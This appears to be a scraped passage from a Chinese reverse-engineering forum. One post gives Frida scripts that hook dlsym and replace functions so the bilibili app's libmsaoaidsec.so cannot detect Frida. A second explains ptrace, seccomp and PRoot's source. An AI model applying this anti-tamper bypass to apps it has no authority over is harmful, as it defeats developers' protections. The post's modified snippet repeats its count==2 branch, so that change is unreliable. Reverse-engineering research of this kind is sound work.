thread_ptr.sub(libmsaoaidsec.base)); Interceptor.replace(libmsaoaidsec.base.add(0x1c544), new NativeCallback( function (){ console.log( \\"Interceptor.replace: 0x1c544\\" ) }, \\"void\\" ,[])) Interceptor.replace(libmsaoaidsec.base.add(0x1b8d4), new NativeCallback( function (){ console.log( \\"Interceptor.replace: 0x1c544\\" ) }, \\"void\\" ,[])) Interceptor.replace(libmsaoaidsec.base.add(0x26e5c), new NativeCallback( function (){ console.log( \\"Interceptor.replace: 0x1c544\\" ) }, \\"void\\" ,[])) } }, onLeave: function (retval) {} }); } |
可以看到是直接绕过了frida检测的位置的。并且我写的一个frida打印函数也是成功执行了
\\n绕过最新版bilibili app反frida机制-Android安全-看雪-安全社区|安全招聘|kanxue.com
\\n在这一篇文章中,作者并没有去实现正面对抗,而且取巧绕过了,通过的方式就是在HOOK dlsym函数,在进入libmsaoaidsec.so之后去HOOK dlsym 判断调用pthead_create函数的次数,在前两次进行调用pthead_create函数时,去调用fake_pthead_create函数,从而实现frida线程不启动,达成绕过。
\\n以下是取巧绕过的代码(复制于上面的网址):
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | function create_fake_pthread_create() { const fake_pthread_create = Memory.alloc(4096) Memory.protect(fake_pthread_create, 4096, \\"rwx\\" ) Memory.patchCode(fake_pthread_create, 4096, code => { const cw = new Arm64Writer(code, { pc: ptr(fake_pthread_create) }) cw.putRet() }) return fake_pthread_create } function hook_dlsym() { var count = 0 console.log( \\"=== HOOKING dlsym ===\\" ) var interceptor = Interceptor.attach(Module.findExportByName( null , \\"dlsym\\" ), { onEnter: function (args) { const name = ptr(args[1]).readCString() console.log( \\"[dlsym]\\" , name) if (name == \\"pthread_create\\" ) { count++ } }, onLeave: function (retval) { if (count == 1) { retval.replace(fake_pthread_create) } else if (count == 2) { retval.replace(fake_pthread_create) // 完成2次替换, 停止hook dlsym interceptor.detach() } } } ) return Interceptor } function hook_dlopen() { var interceptor = Interceptor.attach(Module.findExportByName( null , \\"android_dlopen_ext\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null ) { var path = ptr(pathptr).readCString(); console.log( \\"[LOAD]\\" , path) if (path.indexOf( \\"libmsaoaidsec.so\\" ) > -1) { hook_dlsym() } } } } ) return interceptor } // 创建虚假pthread_create var fake_pthread_create = create_fake_pthread_create() var dlopen_interceptor = hook_dlopen() |
同样也可以实现绕过,不过,我们其实能知道,最开始的时候,其实是发现在libmsaoaidsec.so一共是开启了三个线程的,其实我觉得这里可以把count设置到三
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 | onLeave: function (retval) { if (count == 1) { retval.replace(fake_pthread_create) } else if (count == 2) { retval.replace(fake_pthread_create) } else if (count == 2) { retval.replace(fake_pthread_create) // 完成2次替换, 停止hook dlsym interceptor.detach() } } |
这样我尝试过,也能实现绕过的。
\\n[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!
\\n\\n\\n\\n\\n\\n\\n\\n","description":"本文是对于了版本7.26.1,以及版本7.76.0的frida检测进行的分析研究以及绕过 bilibili的旧版本frida检测\\n\\n可以看到按照Spawn的方式启动的时候,直接frida就被检测了。我们按照 hook dlopen去查看可能出现的对应frida检测的so文件。\\n\\n1\\n2\\n3\\n4\\n5\\n6\\n7\\n8\\n9\\n10\\n11\\n12\\n13\\n14\\n15\\n16\\n\\t\\nfunction hook_dlopen(soName = \'\') {\\n Interceptor.attach(Module.findExportByName(null, \\"android_dlopen_ext\\"), {\\n …","guid":"https://bbs.kanxue.com/thread-285893.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-03-06T08:47:53.806Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_55MANHSG5BSC2MD.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_ATYPJBJR9W2WSWB.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_JVQR8HKTWKMG92B.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_VJKBH4F47NY78AP.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_BWRV996DN5UU42F.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_3EA6CS8GYGG6VH5.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_S3KT2F8D9AVGSXG.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_3XAYUAAM24KNPEX.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_WWJEV655QZ3VEPR.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_X2M33CWVTU6RVCM.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_UP53H4RBDBQ6E7H.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_CFR4T6Q4VE524X2.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_J9H98EMZW3SAXSQ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_QKTJW38G6AJKDYB.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_3PWC86HVDT84YV7.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_CCNAKCPCF8HSQDU.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_9C2PSX5X28AC633.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_ZB9NV9EX2BRKP9C.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_7TTP6ZJBVPY7WCE.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_EQ4YD9ACGHP5DW7.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_5AJ89TYKGDR9YW7.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_NAFW5UKJTMNFFB5.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_W5C5V59VR2CQDX6.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202503/971248_S6GB9SH8M9EXADP.webp","type":"photo","width":0,"height":0,"blurhash":""}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]窥探Proot原理","url":"https://bbs.kanxue.com/thread-285876.htm","content":"\\n\\n引导视频(大佬的视频):
\\n\\n编译教程:
\\n\\n源码地址:
\\n\\n跟踪进程行为:允许一个进程(跟踪者,tracer)观察和控制另一个进程(被跟踪者,tracee)的执行。
\\n读写内存和寄存器:可以修改被跟踪进程的内存和寄存器状态。
\\n拦截信号和系统调用:在系统调用(syscall)或信号(如 SIGTRAP
)触发时暂停被跟踪进程,供跟踪者处理。
通过 ptrace(request, pid, addr, data)
发送请求,常见 request
参数包括:
PTRACE_TRACEME
被跟踪进程主动声明自己被父进程跟踪(常用于子进程)。
PTRACE_ATTACH
跟踪者附加到正在运行的进程(需权限)。
PTRACE_DETACH
解除跟踪,恢复被跟踪进程执行。
PTRACE_PEEKTEXT
/PTRACE_POKETEXT
读/写被跟踪进程的内存。
PTRACE_GETREGS
/PTRACE_SETREGS
读/写被跟踪进程的寄存器(如 eax
, ebx
等)。
PTRACE_SYSCALL
使被跟踪进程在下一个系统调用入口和退出时暂停(用于拦截系统调用)。
PTRACE_CONT
恢复被跟踪进程的执行。
拦截系统调用:通过 PTRACE_SYSCALL
,跟踪者可以在被跟踪进程执行系统调用前(入口)和系统调用后(退出)获取控制权。
修改参数/返回值:
\\n在入口阶段:可修改系统调用的参数(通过寄存器,如 eax
存储系统调用号,ebx
, ecx
等存储参数)。
在退出阶段:可修改系统调用的返回值(如模拟成功或失败)。
\\n开发涉及到的关键API都是直接参考官方文档:
\\n\\n基础理论 到这了 ! 我们来进行实践:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | #include <string> #include <unistd.h> #include <android/log.h> #include <linux/ptrace.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <sys/reg.h> #include <signal.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <sys/prctl.h> #include <fcntl.h> #include <linux/filter.h> #include <linux/seccomp.h> #include <linux/elf.h> #include \\"Syscall_arm64.h\\" #define LOG_TAG \\"NDK_LOG\\" #define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__) #define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__) void test(); void ptrace_attach_pid( int pid); void install_seccomp_filter(){ struct sock_filter filter[] = { BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof( struct seccomp_data, nr))), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_TRACE), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = (unsigned short ) ( sizeof (filter) / sizeof (filter[0])), .filter = filter, }; if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) { LOGD( \\"prctl(PR_SET_NO_NEW_PRIVS)\\" ); } if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) { LOGD( \\"when setting seccomp filter\\" ); } } void test() { LOGD( \\"test begin ...\\" ); int mainPid = getpid(); int childPid = fork(); switch (childPid) { case -1: LOGE( \\"fork fail\\" ); break ; case 0: LOGD( \\"子进程 逻辑 %d\\" , childPid); LOGD( \\"mainPid=%d\\" , mainPid); ptrace_attach_pid(mainPid); break ; default : LOGD( \\"主进程 逻辑 %d\\" , mainPid); install_seccomp_filter(); kill(getpid(), SIGSTOP); kill(getpid(), SIGCONT); LOGD( \\"waitpid\\" ); break ; } LOGD( \\"test end ...\\" ); } void ptrace_attach_pid( int pid) { int status; if (ptrace(PTRACE_ATTACH,pid,0,0) == -1){ LOGE( \\"ptrace attach fail\\" ); } //设置 ptrace 选项 const unsigned long default_ptrace_options = ( PTRACE_O_TRACESYSGOOD | //当被跟踪的进程产生一个系统调用时,会发送 SIGTRAP 信号,并且 siginfo 结构中的 si_code 会被设置为 SYS_SECCOMP。 PTRACE_O_TRACEFORK | //允许跟踪进程的创建和克隆事件 PTRACE_O_TRACEVFORK | //允许跟踪进程的创建和克隆事件 PTRACE_O_TRACEVFORKDONE | //允许跟踪进程的创建和克隆事件 PTRACE_O_TRACECLONE | //允许跟踪进程的创建和克隆事件 PTRACE_O_TRACEEXEC | //允许跟踪进程的创建和克隆事件 PTRACE_O_TRACEEXIT ); //当被跟踪的进程退出时,会触发跟踪事件 int state; state = ptrace(PTRACE_SETOPTIONS, pid, 0, default_ptrace_options | PTRACE_O_TRACESECCOMP); //这个选项特别重要,它允许跟踪 seccomp 过滤器触发的事件。当被跟踪的进程因为 seccomp 规则而触发一个 SIGSYS 信号时,会发送一个 SIGTRAP 信号,并且 siginfo 结构中的 si_code 会被设置为 SYS_SECCOMP。 if (state == -1){ LOGE( \\"PTRACE_SETOPTIONS failed\\" ); } waitpid(pid, &status, 0); if ( WIFSTOPPED(status) && WSTOPSIG(status) == SIGSTOP){ while (1){ struct user_regs_struct regs; struct iovec io; io.iov_base = ®s; io.iov_len = sizeof (regs); ptrace(PTRACE_CONT, pid, 0, 0); waitpid(pid, &status, 0); ptrace(PTRACE_GETREGSET, pid, ( void *)NT_PRSTATUS, &io); if (status >> 8 == (SIGTRAP | (PTRACE_EVENT_SECCOMP << 8)) ){ LOGD( \\"seccomp svc 中断调用号 : %lx\\" ,regs.regs[8]); LOGD( \\"seccomp svc 寄存器0内容: %lx\\" ,regs.regs[0]); LOGD( \\"seccomp svc 寄存器1内容: %lx\\" ,regs.regs[1]); LOGD( \\"seccomp svc 寄存器2内容: %lx\\" ,regs.regs[2]); LOGD( \\"seccomp svc 路径内容: %s\\" ,regs.regs[1]); } if (WIFEXITED(status)){ break ; } } } } |
成功的在安卓实现了 使用ptrace 对 主进程的openat的系统函数进行监控
\\n首先还是从main开始分析:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | /* 主函数:程序入口点 * @argc 参数数量 * @argv 参数值数组 * @return 程序退出状态 */ int main( int argc, char * const argv[]) { Tracee *tracee; // 被跟踪进程的上下文对象 int status; // 操作状态返回值 /* 配置内存分配器 - 启用内存泄漏报告 */ talloc_enable_leak_report(); /* TALLOC 2.0+ 版本需要将日志输出到标准错误 */ #if defined(TALLOC_VERSION_MAJOR) && TALLOC_VERSION_MAJOR >= 2 talloc_set_log_stderr(); #endif /* 预创建第一个被跟踪进程(初始pid设为0) */ tracee = get_tracee(NULL, 0, true ); if (tracee == NULL) goto error; tracee->pid = getpid(); // 设置实际进程ID /* 解析配置参数 */ status = parse_config(tracee, argc, argv); if (status < 0) goto error; /* 启动被跟踪进程 */ status = launch_process(tracee, &argv[status]); if (status < 0) { print_execve_help(tracee, tracee->exe, status); // 执行失败时显示帮助 goto error; } /* 进入事件循环跟踪进程及其子进程 */ exit (event_loop()); // 事件循环返回时退出程序 /* 错误处理模块 */ error: TALLOC_FREE(tracee); // 释放跟踪对象内存 /* 根据错误状态退出 */ if (exit_failure) { fprintf (stderr, \\"致命错误:请查看 `%s --help`.\\\\n\\" , basename(argv[0])); exit (EXIT_FAILURE); } else exit (EXIT_SUCCESS); } |
在这个代码中一来就出现不认识的结构体 Tracee
\\n那么我们先了解这个结构体
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 | typedef struct tracee { /********************************************************************** * 私有资源 (Private resources) * **********************************************************************/ /* 所有被跟踪进程(tracee)列表的链接。 */ LIST_ENTRY(tracee) link; /* 进程标识符。 */ pid_t pid; /* 当前是否正在运行? */ bool running; /* 该被跟踪进程的父进程,若不存在则为NULL。 */ struct tracee *parent; /* 是否为“克隆”进程(即与其创建者共享同一个父进程)。 */ bool clone; /* ptrace模拟支持(跟踪器端)。 */ struct { size_t nb_ptracees; // 被ptrace跟踪的进程数量 LIST_HEAD(zombies, tracee) zombies; // 僵尸进程列表 struct direct_ptracees *direct_ptracees; // 直接跟踪的进程 pid_t wait_pid; // 等待的进程ID word_t wait_options; // 等待选项 /* 等待状态: */ enum { DOESNT_WAIT = 0, // 不等待 WAITS_IN_KERNEL, // 在内核中等待 WAITS_IN_PROOT // 在PRoot中等待 } waits_in; } as_ptracer; /* ptrace模拟支持(被跟踪进程端)。 */ struct { struct tracee *ptracer; // 对应的跟踪器 struct { #define STRUCT_EVENT struct { int value; bool pending; } STRUCT_EVENT proot; // PRoot相关事件 STRUCT_EVENT ptracer; // 跟踪器相关事件 } event4; bool tracing_started; // 是否已启动跟踪 bool ignore_loader_syscalls; // 是否忽略加载器系统调用 bool ignore_syscalls; // 是否忽略所有系统调用 word_t options; // ptrace选项 bool is_zombie; // 是否为僵尸进程 } as_ptracee; /* 当前状态: * 0: 进入系统调用(syscall入口) * 1: 系统调用正常退出(无错误) * -errno: 系统调用错误退出(错误号为errno) */ int status; #define IS_IN_SYSENTER(tracee) ((tracee)->status == 0) // 是否在系统调用入口 #define IS_IN_SYSEXIT(tracee) (!IS_IN_SYSENTER(tracee)) // 是否在系统调用退出 #define IS_IN_SYSEXIT2(tracee, sysnum) (IS_IN_SYSEXIT(tracee) \\\\ &&***INAL) == sysnum) // 是否在指定系统调用的退出阶段 /* 该被跟踪进程的重启方式。 */ enum __ptrace_request restart_how; /* 被跟踪进程的通用寄存器值(多版本存储)。 */ struct user_regs_struct _regs[NB_REG_VERSION]; bool _regs_were_changed; // 寄存器是否被修改 bool restore_original_regs; // 是否恢复原始寄存器值 /* SIGSTOP信号的特殊处理状态。 */ enum { SIGSTOP_IGNORED = 0, // 忽略SIGSTOP(当父进程已知时) SIGSTOP_ALLOWED, // 允许SIGSTOP(当父进程已知时) SIGSTOP_PENDING, // 阻塞SIGSTOP直到父进程未知 } sigstop; /* 用于临时动态内存分配的上下文。 */ TALLOC_CTX *ctx; /* 用于存储生命周期内动态内存分配的上下文(进程释放时自动回收)。 */ TALLOC_CTX *life_context; /* 注:可将\\"ctx\\"重命名为\\"event_span\\",\\"life_context\\"重命名为\\"life_span\\"。 */ /* 在绑定路径初始化时指定最终组件的类型(由bind_path()定义,build_glue()使用)。 */ mode_t glue_type; /* 在子重配置期间,新配置相对于该被跟踪进程的文件系统命名空间。@paths保存其$PATH环境变量以模拟execvp(3)行为。 */ struct { struct tracee *tracee; // 关联的被跟踪进程 const char *paths; // 环境变量PATH值 } reconf; /* 由PRoot在实际系统调用后插入的未请求的系统调用链。 */ struct { struct chained_syscalls *syscalls; // 链式系统调用 bool force_final_result; // 是否强制最终结果 word_t final_result; // 强制设置的最终结果 } chain; /* 在execve系统调用入口生成,并在退出时使用的加载信息。 */ struct load_info *load_info; /* 加载进程的当前状态。 */ struct { enum { LOADING_STEP_NONE = 0, // 未在加载 LOADING_STEP_OPEN, // 打开文件阶段 LOADING_STEP_MMAP, // 内存映射阶段 LOADING_STEP_CLOSE // 关闭文件阶段 } step; struct load_info *info; // 加载信息指针 size_t index; // 当前步骤索引 } loading; /********************************************************************** * 私有但可继承的资源 * **********************************************************************/ /* 详细级别。 */ int verbose; /* 该被跟踪进程的seccomp加速状态。 */ enum { DISABLED = 0, DISABLING, ENABLED } seccomp; /* 确保在seccomp下始终触发系统调用退出阶段。 */ bool sysexit_pending; /********************************************************************** * 共享或私有资源(取决于CLONE_FS/VM标志) * **********************************************************************/ /* 文件系统命名空间相关信息。 */ FileSystemNameSpace *fs; /* 虚拟堆(通过常规内存映射模拟)。 */ Heap *heap; /********************************************************************** * 共享资源(直到该进程调用execve()) * **********************************************************************/ /* 可执行文件路径(类似/proc/self/exe)。 */ char *exe; /********************************************************************** * 共享或私有资源(取决于配置或重配置) * **********************************************************************/ /* 模拟器(QEMU)命令行参数。 */ char **qemu; /* 宿主机与客户机根文件系统之间的粘合路径。 */ const char *glue; /* 为此跟踪对象启用的扩展列表。*/ struct extensions *extensions; /********************************************************************** * 共享但只读的资源 * **********************************************************************/ /* 在混合模式下,宿主机LD_LIBRARY_PATH会在\\"客户机->宿主机\\"转换期间被保存, * 以便在\\"宿主机->客户机\\"转换时恢复(仅当宿主机的LD_LIBRARY_PATH未发生变化时)。*/ const char *host_ldso_paths; const char *guest_ldso_paths; /* 用于诊断目的 */ const char *tool_name; } Tracee; |
观察上面的结构体 ,我用ai做了翻译,很清楚的知道 Tracee 这个结构体就是被观测的进程。
\\n我们不关注它的内存管理,我们只关心 它主要的运行逻辑。
\\n好,那么接下来就是创建的一个 Tracee get_tracee(NULL, 0, true)这个方法
\\n看看:
\\n在tracee.h 存在该方法的定义:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | /* 根据给定的进程ID查找或创建对应的Tracee结构体 */ Tracee *get_tracee( const Tracee *current_tracee, pid_t pid, bool create) { Tracee *tracee; /* 如果当前正在追踪的进程就是要找的进程 * 则直接返回当前Tracee对象,避免重置内存收集器。 * 因为调用者可能持有子分配数据的指针 */ if (current_tracee != NULL && current_tracee->pid == pid) return (Tracee *)current_tracee; /* 遍历tracees链表寻找匹配PID的Tracee对象 */ LIST_FOREACH(tracee, &tracees, link) { if (tracee->pid == pid) { /* 释放旧的内存上下文并创建新的内存分配器 * 使用talloc内存管理库进行内存管理 */ TALLOC_FREE(tracee->ctx); tracee->ctx = talloc_new(tracee); return tracee; } } /* 如果没有找到且允许创建,则新建Tracee对象 * 否则返回NULL */ return (create ? new_tracee(pid) : NULL); } |
ok,不做深入,进行下一步 parse_config这个方法
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | /** 根据存储在@argv[]中的命令行参数配置@tracee。该函数返回@argv[]中要启动的命令的索引,若发生错误则返回-1。 */ static int parse_config(Tracee *tracee, size_t argc, char * const argv[]) { option_handler_t handler = NULL; // 当前选项的处理函数 const Option *options; // CLI选项列表 const Cli *cli = NULL; // 当前使用的CLI工具(CARE或PRoot) size_t argc_offset; // 命令在argv中的起始位置 size_t i, j, k; // 循环计数器 int status; // 操作状态码 /* 检查是否为自解压CARE归档 */ if (get_care_cli != NULL) { // 尝试从\\"/proc/self/exe\\"提取归档(当前可执行文件是否为CARE自解压包?) status = extract_archive_from_file( \\"/proc/self/exe\\" ); if (status == 0) { // 成功提取则退出 exit_failure = 0; // 标记正常退出 return -1; } /* 检查工具名是否为\\"care\\"(如\\"care-3.4\\") */ if (strncasecmp(basename(argv[0]), \\"care\\" , strlen ( \\"care\\" )) == 0) cli = get_care_cli(tracee->ctx); // 获取CARE的CLI配置 } /* 默认使用PRoot CLI */ if (cli == NULL) cli = get_proot_cli(tracee->ctx); // 获取PRoot的CLI配置 tracee->tool_name = cli->name; // 设置工具名称(如\\"proot\\") /* 参数不足时打印用法 */ if (argc == 1) { print_usage(tracee, cli, false ); // 显示帮助信息 return -1; } /* 遍历所有参数进行解析 */ for (i = 1; i < argc; i++) { const char *arg = argv[i]; 复制 /* 处理短选项的值(如 -o value,此时handler已指向处理函数) */ if (handler != NULL) { status = handler(tracee, cli, arg); // 调用之前设置的处理器 if (status < 0) return -1; // 错误则退出 handler = NULL; // 重置处理器 continue ; } /* 遇到非选项参数(如命令),停止解析 */ if (arg[0] != \'-\' ) break ; /* 遍历所有支持的选项 */ options = cli->options; // 获取当前CLI的选项列表 for (j = 0; options[j]. class != NULL; j++) { // 遍历每个选项类别 const Option *option = &options[j]; /* 检查所有选项别名(如 -v 和 --verbose) */ for (k = 0; ; k++) { // 遍历选项的多个别名 const Argument *argument = &option->arguments[k]; size_t length; /* 无更多别名时跳出循环 */ if (!argument->name) break ; length = strlen (argument->name); if ( strncmp (arg, argument->name, length) != 0) continue ; // 不匹配则跳过 /* 处理选项与值的分隔符(如 -I/usr 或 -I /usr) */ if ( strlen (arg) > length && arg[length] != argument->separator) { print_error_separator(tracee, argument); // 分隔符错误(如 -I=usr) return -1; } /* 无值的选项(如 --help) */ if (!argument->value) { status = option->handler(tracee, cli, NULL); // 调用处理函数 if (status < 0) return -1; goto known_option; // 跳转到后续处理 } /* 合并值的选项(如 -I/usr,分隔符为\'/\') */ if (argument->separator == arg[length]) { status = option->handler(tracee, cli, &arg[length + 1]); // 提取值 if (status < 0) return -1; goto known_option; } /* 分隔符必须为空格的情况(如 -I /usr) */ if (argument->separator != \' \' ) { print_error_separator(tracee, argument); return -1; } /* 短选项需要后续参数作为值(如 -o value) */ handler = option->handler; // 设置处理器,等待下一个参数 goto known_option; } } /* 未知选项处理 */ note(tracee, ERROR, USER, \\"unknown option \'%s\'.\\" , arg); return -1; known_option: /* 检查是否缺少选项值(如 -o 后无参数) */ if (handler != NULL && i == argc - 1) { note(tracee, ERROR, USER, \\"missing value for option \'%s\'.\\" , arg); return -1; } } argc_offset = i; // 记录命令起始位置(如 argv[3] 是命令名) /* 通过钩子函数进行初始化阶段配置 / #define HOOK_CONFIG(callback) do { if (cli->callback != NULL) { status = cli->callback(tracee, cli, argc, argv, i); if (status < 0) return -1; i = status; / 可能调整参数索引 */ } } while (0) HOOK_CONFIG(pre_initialize_bindings); // 绑定初始化前处理 /* 解析用户绑定的路径(如 -b /host:/guest) */ status = initialize_bindings(tracee); if (status < 0) return -1; HOOK_CONFIG(post_initialize_bindings); // 绑定初始化后处理 HOOK_CONFIG(pre_initialize_cwd); // 工作目录初始化前处理 /* 设置当前工作目录 */ status = initialize_cwd(tracee); if (status < 0) return -1; HOOK_CONFIG(post_initialize_cwd); // 工作目录初始化后处理 HOOK_CONFIG(pre_initialize_exe); // 可执行文件初始化前处理 /* 解析目标可执行文件路径 */ status = initialize_exe(tracee, argv[argc_offset]); if (status < 0) return -1; HOOK_CONFIG(post_initialize_exe); // 可执行文件初始化后处理 #undef HOOK_CONFIG print_config(tracee, &argv[argc_offset]); // 打印最终配置信息 return argc_offset; // 返回命令的argv起始索引(如 argv[3]) } |
这里根据参数进行初始化,也就是对proot 后面输入的参数 进行 对应的初始化
\\n后面启动进程:
\\nlaunch_process
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | /** * 启动 @tracee->exe 并使用给定的 @argv[] 参数。此函数在发生错误时返回 -errno,否则返回 0。 */ int launch_process(Tracee *tracee, char * const argv[]) { char * const default_argv[] = { \\"-\\" , NULL }; long status; pid_t pid; /* Warn about open file descriptors. They won\'t be * translated until they are closed. */ if (tracee->verbose > 0) list_open_fd(tracee); pid = fork(); switch (pid) { case -1: note(tracee, ERROR, SYSTEM, \\"fork()\\" ); return - errno ; case 0: /* child */ /* Declare myself as ptraceable before executing the * requested program. */ status = ptrace(PTRACE_TRACEME, 0, NULL, NULL); if (status < 0) { note(tracee, ERROR, SYSTEM, \\"ptrace(TRACEME)\\" ); return - errno ; } /* Synchronize with the tracer\'s event loop. Without * this trick the tracer only sees the \\"return\\" from * the next execve(2) so PRoot wouldn\'t handle the * interpreter/runner. I also verified that strace * does the same thing. */ kill(getpid(), SIGSTOP); /* Improve performance by using seccomp mode 2, unless * this support is explicitly disabled. */ if ( getenv ( \\"PROOT_NO_SECCOMP\\" ) == NULL) ( void ) enable_syscall_filtering(tracee); /* Now process is ptraced, so the current rootfs is already the * guest rootfs. Note: Valgrind can\'t handle execve(2) on * \\"foreign\\" binaries (ENOEXEC) but can handle execvp(3) on such * binaries. */ execvp(tracee->exe, argv[0] != NULL ? argv : default_argv); return - errno ; default : /* parent */ /* We know the pid of the first tracee now. */ tracee->pid = pid; return 0; } /* Never reached. */ return -ENOSYS; } |
这里创建了 一个子进程 并且 开启了seccomp
\\n我们看看 :enable_syscall_filtering
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | /** * 通知内核仅跟踪由PRoot及其扩展处理的系统调用。 * 该过滤器将对给定的@tracee及其所有未来子进程生效。 * 如果发生错误,该函数返回-errno,否则返回0。 */ int enable_syscall_filtering( const Tracee *tracee) { FilteredSysnum *filtered_sysnums = NULL; // 被过滤的系统调用号列表 Extension *extension; // 扩展模块指针 int status; // 操作状态码 // 断言确保tracee及其上下文不为空 assert (tracee != NULL && tracee->ctx != NULL); /* 将PRoot需要的系统调用号添加到过滤列表。 * TODO: 仅在需要路径转换时添加 */ status = merge_filtered_sysnums(tracee->ctx, &filtered_sysnums, proot_sysnums); if (status < 0) return status; /* 将扩展模块需要的系统调用号合并到过滤列表 */ if (tracee->extensions != NULL) { // 遍历所有扩展模块 LIST_FOREACH(extension, tracee->extensions, link) { if (extension->filtered_sysnums == NULL) continue ; // 合并当前扩展的过滤列表 status = merge_filtered_sysnums(tracee->ctx, &filtered_sysnums, extension->filtered_sysnums); if (status < 0) return status; } } // 设置seccomp过滤器 status = set_seccomp_filters(filtered_sysnums); if 